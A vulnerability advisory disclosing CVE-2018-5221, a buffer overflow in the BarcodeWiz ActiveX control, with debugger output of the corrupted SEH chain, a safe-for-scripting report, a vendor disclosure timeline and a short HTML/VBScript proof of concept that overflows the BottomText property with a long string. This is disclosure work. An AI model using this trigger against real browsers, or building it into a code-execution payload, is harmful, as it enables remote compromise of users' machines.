[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/BARCODEWIZ-v6.7-ACTIVEX-COMPONENT-BUFFER-OVERFLOW.txt [+] ISR: ApparitionSec Vendor: ================= www.barcodewiz.com Product: ============= BarcodeWiz ActiveX Control < 6.7 BarCodeWiz OnLabel. Generates dynamic barcodes from your imported Excel, CSV, or Access files. Print auto incrementing barcodes; Choose from hundreds of label layouts; Export as PDF or XPS. Vulnerability Type: =================== Buffer Overflow CVE Reference: ============== CVE-2018-5221 Security Issue: ================ BarcodeWiz.DLL BottomText and TopText propertys suffer from buffer overflow vulnerability resulting in (SEH) "Structured Exceptional Handler" overwrite . This can be exploited by a remote attacker to potentially execute arbitrary attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered. SEH chain of main thread Address SE handler 0018DAC0 kernel32.754E48F3 0018EE34 41414141 41414141 *** CORRUPT ENTRY *** Exception Code: ACCESS_VIOLATION Disasm: 2045665 MOV [EDX+ECX],AL (BarcodeWiz.DLL) SEH Chain: -------------------------------------------------- 1 41414141 Called From Returns To -------------------------------------------------- BarcodeWiz.2045665 BarcodeWiz.202FF50 BarcodeWiz.202FF50 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6} RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPersist Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data Exploit/POC: ============= <object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='VICTIM' /> <script language='vbscript'> PAYLOAD=String(12308, "A") VICTIM.BottomText = PAYLOAD </script> Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: December 26, 2017 Vendor Acknowledgement: January 2, 2018 Vendor "updated version released this week." : January 2, 2018 January 6, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx